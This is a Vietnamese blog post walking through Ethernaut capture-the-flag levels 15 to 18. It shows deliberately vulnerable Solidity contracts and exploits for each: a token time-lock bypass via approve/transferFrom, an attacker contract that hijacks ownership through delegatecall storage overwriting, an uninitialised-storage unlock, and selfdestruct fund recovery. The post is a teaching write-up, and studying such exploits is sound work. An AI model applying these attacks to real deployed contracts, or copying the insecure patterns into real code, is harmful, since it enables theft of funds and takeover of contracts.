Blockchain - hacking smart contract with Ethernaut CTF (Part 5)
This post hasn't been updated for 6 years
Trong bài này chúng ta sẽ đi giải quyết các thử thách từ bài 15 tới bài 18.
The Ethernaut: https://ethernaut.zeppelin.solutions/
Một vài recommend:
- Sẽ tốt hơn nếu bạn có kiến thức về Blockchain và Smart Contract.
- Sẽ tốt hơn nếu bạn có kiến thức về Solidity và Web3js.
- Sẽ là tốt hơn nếu bạn biết cách sử dụng Remix IDE hoặc Truffle.
15. Naughty Coin ★★★★★★
Nhiệm vụ: bạn có rất nhiều tiền, nhưng phải đợi tới tận 10 năm sau mới được tiêu số tiền đó. Bằng cách nào đó hãy tiêu hết số tiền đó mà ko cần phải chờ tới 10 năm nữa.
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
if (now < timeLock) {
_;
}
} else {
_;
}
}
}
Phân tích & Solution
Contract này được thiết kế theo chuẩn ERC20, nên ta hãy xem qua một lượt interface của chuẩn này:
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
Ta dễ dàng nhận thấy, ngoài transfer
ra thì trong ERC20 còn có transferFrom
nữa. Để chuyển token trong ERC20, chúng ta có 2 cách
- Cách1: thực hiện hàm
transfer
:
function transfer(address to, uint tokens) public returns (bool success);
- Cách 2:
approve
cho ai đó quyền tiêu tiền của mình, sau đó người đó tiêu số tiền đó bằngtransferFrom
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
Do đó ta sẽ khai thác như sau: Đầu tiên paste code lên Remix và load contract của ta ra, nhớ là sử dụng account player hiện tại nhé.
Bước 1: Trên chrome console kiểm tra balance hiện tại
await contract.blanceof(player).then(x => x.toNumber())
1000000000000000000000000
Bước 2: Trên Remix, tiến hành approve
cho một tài khoản khác với số lượng token là 1000000000000000000000000, ở đây mình sử dụng một tài khoản khác của mình là 0xc3A5e98871B9Bbb045A700c28b53C017D15Bd288
, các bạn hãy thay bằng tài khoản khác của các bạn.
Bước 3: Switch qua account 0xc3A5e98871B9Bbb045A700c28b53C017D15Bd288
và tiến hành rút toàn bộ tiền tiền bằng transferFrom
Bước 4: Switch lại tài khoản player, trên chrome console check lại balance
await contract.blanceof(player).then(x => x.toNumber())
0
Vậy là balance đã về 0. Submit && all done!
Bình luận
Đây là một bài toán khá đơn giản, điều cốt lõi ở đây chỉ là nắm và hiểu kiến trúc của ERC20 mà thôi.
16. Preservation ★★★★★★
Nhiệm vụ: chiếm quyền owner
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Solution
Có 2 điều ta cần nắm được về delegatecall
:
Điều thứ nhất: delegatecall
chỉ là mượn hàm từ một contract khác và gọi hàm đó trong contract của mình.
Để diễn giải điều này, ta xét một ví dụ có thể coi là kinh điển về delegatecall
, search google phát thấy ngay
contract D {
uint public n;
address public sender;
function delegatecallSetN(address _e, uint _n) {
_e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
}
contract E {
uint public n;
address public sender;
function setN(uint _n) {
n = _n;
sender = msg.sender;
}
}
Trong contract E ta có một hàm là hàm setN
sẽ thay đổi giá trị của n
và sender
. Trong contract D ta gọi hàm _e.delegatecall(bytes4(sha3("setN(uint256)")), _n);
, điều này tương đương với việc ta chuyển hàm setN vào bên trong contract D như sau:
contract D {
uint public n;
address public sender;
function delegatecallSetN(uint _n) {
setN(_n);
}
function setN(uint _n) {
n = _n;
sender = msg.sender;
}
}
Điều thứ hai: khi gọi delegatecall
, các biến của hàm trong contract E sẽ là biến với slot tương ứng của contract D, không cần quan tâm đến tên biến và kiểu dữ liệu.
Ví dụ như bên trên, giả sử ta đổi tên biến và kiểu dữ liệu trong contract D như sau:
contract D {
address public addr;
bytes20 public mess;
function delegatecallSetN(address _e, uint _n) {
_e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
}
contract E {
uint public n;
address public sender;
function setN(uint _n) {
n = _n;
sender = msg.sender;
}
}
khi này trong D, nếu ta gọi _e.delegatecall(bytes4(sha3("setN(uint256)")), _n);
thì addr
sẽ được gán cho giá trị của _n
, tất nhiên có ép kiểu từ uint
sang address
, còn mess
sẽ được gán cho giá trị của msg.sender
, ép kiểu từ address
qua bytes20
.
Các bạn hãy tự test thử trên RemixIDE để hiểu rõ hơn.
Ok vậy là ta đã hiểu về delegatecall
, trong bài này ta sẽ áp dụng thế nào ?
Cùng nhìn qua contract LibraryContract
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Contract này có một slot duy nhất chứa storedTime
, do đó nó sẽ tương ứng với slot của timeZone1Library
trong contract Preservation
nếu ta gọi setTime
bằng delegatecall
. Điều này có ý nghĩa thế nào?
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
nó có nghĩa là nếu ta gọi setFirstTime
thì timeZone1Library
sẽ được gán bởi _timeStamp
một lần duy nhất, vì sau đó địa chỉ timeZone1Library
sẽ trở thành địa chỉ _timeStamp
rồi.
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
nó có nghĩa là nếu ta gọi setSecondTime
thì timeZone1Library
sẽ được gán lại bởi giá trị _timeStamp
bất cứ khi nào gọi hàm
Từ ý nghĩa này, ta có kịch bản tấn công như sau:
- Thay
timeZone1Library
bằng địa chỉ contract tấn công. - Do trong contract
Preservation
, biếnowner
ứng với slot thứ 3, nên trong contract tấn công ta sẽ có 3 biến, theo đó nếu gọi bằngdelegatecall
, slot thứ 3 sẽ tương tứng vớiowner
trongPreservation
. - Trong contract tấn công cũng phải có hàm
setTime
y nhưtimeZone1Library
vàtimeZone2Library
, trong hàm này ta sẽ tiến hành đổi owner sang chính mình (tx.origin) - Contract tấn công sẽ như sau
contract Attack {
address public slot1;
address public slot2;
address public owner;
function setTime(uint _time) public {
owner = tx.origin;
}
}
Note: Trong các giao dịch, nhớ cho gasLimit
cao một chút để tránh bị hết gas
- Trên Remix IDE, load contract
Preservation
- Trên Remix IDE, deploy contract
Attack
- Tại
Preservation
, gọi hàmsetFirstTime
với giá trị là địa chỉ của contractAttack
, đã được convert ra uint256
- Tại
Preservation
, gọi hàmsetFirstTime
lần thứ 2 với giá trị bất kì
- Kiếm tra lại xem owner đã là mình chưa ?
- Submit & all done!
Bình luận
delegatecall
và storage
chưa bao giờ là dễ cả!
17. Locked ★★★★★★
Nhiệm vụ: unlock contract
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
Phân tích
Trong hàm register
có một lỗi cơ bản, đó chính là không có keyword memory
trước biến newRecord
, do đó biến newRecord
sẽ chính là biến trong storage
của contract.
Hay nói cách khác, newRecord
đang trỏ đến slot của unlocked
. Một chỉ dẫn rất rõ ràng phải không ?
Bạn có thể đọc thêm về storage trong smart contract tại bài viết này của mình.
Solution
Ta chỉ cần chạy hàm register
, vì kiểu của _name
là bytes32, nên ta sẽ chạy với tham số là _name=0x0000000000000000000000000000000000000000000000000000000000000001
để khi convert sang bool sẽ là true
, phần _mappedAddress
thì để địa chỉ bất kì là được
Trên chrome console, kiểm tra lại xem đã được unlock chưa
> await contract.unlocked()
true
Submit && all done!
Bình luận
Hãy luôn nhớ tới keyword memory
khi khai báo một struct mới trong hàm.
Bên cạnh đó, việc nắm chắc storage là điều tối cần thiết cho bất cứ ai muốn làm việc với smart contract nói chung và solidity nói riêng.
18 Recovery ★★★★★★
Nhiệm vụ: tác giả đã tạo ra contract Recovery
đóng vai trò như một token factory để có thể dễ dàng tạo ra những đồng tiền ảo mới. Thật không may khi tạo ra đồng tiền ảo đầu tiên và gửi vào đó 0.5 ether để mua token, ông đã quên mất địa chỉ của token contract này. Nhiệm vụ của chúng ta là phải tìm ra địa chỉ của token contract đó và lấy lại 0.5 ether.
pragma solidity ^0.4.23;
contract Recovery {
//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
function() public payable {
balances[msg.sender] = msg.value*10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address _to) public {
selfdestruct(_to);
}
}
Phân tích & Solution
Để tìm xem tác giả đã gửi tiền vào địa chỉ nào, rất đơn giản, ta paste địa chỉ contract lên trên https://ropsten.etherscan.io, trong trường hợp của mình là https://ropsten.etherscan.io/address/0x9998be07d49f52d93d98ebf78c7526d712246bf3#internaltx.
Sau đó tìm tới phần internal Txns
, ta thấy ngay transaction tạo ra token contract.
Nhấn vào Contract Creation
, ta thấy ngay được địa chỉ của token contract với 0.5 ether trong đó, trong trường hợp của mình là 0x417e544648E583Dc15004e86Ef94E1D79a068BFc
.
Tiếp theo, tiến hành load SimpleToken
với địa chỉ 0x417e544648E583Dc15004e86Ef94E1D79a068BFc
trên Remix IDE.
Trong contract Simple Token
có hàm destroy
:
function destroy(address _to) public {
selfdestruct(_to);
}
Trong solidity, khi ta gọi selfdestruct(_to)
trong một contract, thì contract đó sẽ bị huỷ và chuyển toàn bộ tiền về cho địa chỉ _to
.
Do đó ta sẽ tiến hành destroy contract 0x417e544648E583Dc15004e86Ef94E1D79a068BFc
, địa chỉ nhận là địa account của mình, để lấy lại 0.5 ether.
Quay trở lại địa chỉ của token contract trên etherscan.io, ta thấy balance của contract đã trở về 0, nghĩa là ta đã thành công.
Submit && all done!
Bình luận
Enjoy coding!
All Rights Reserved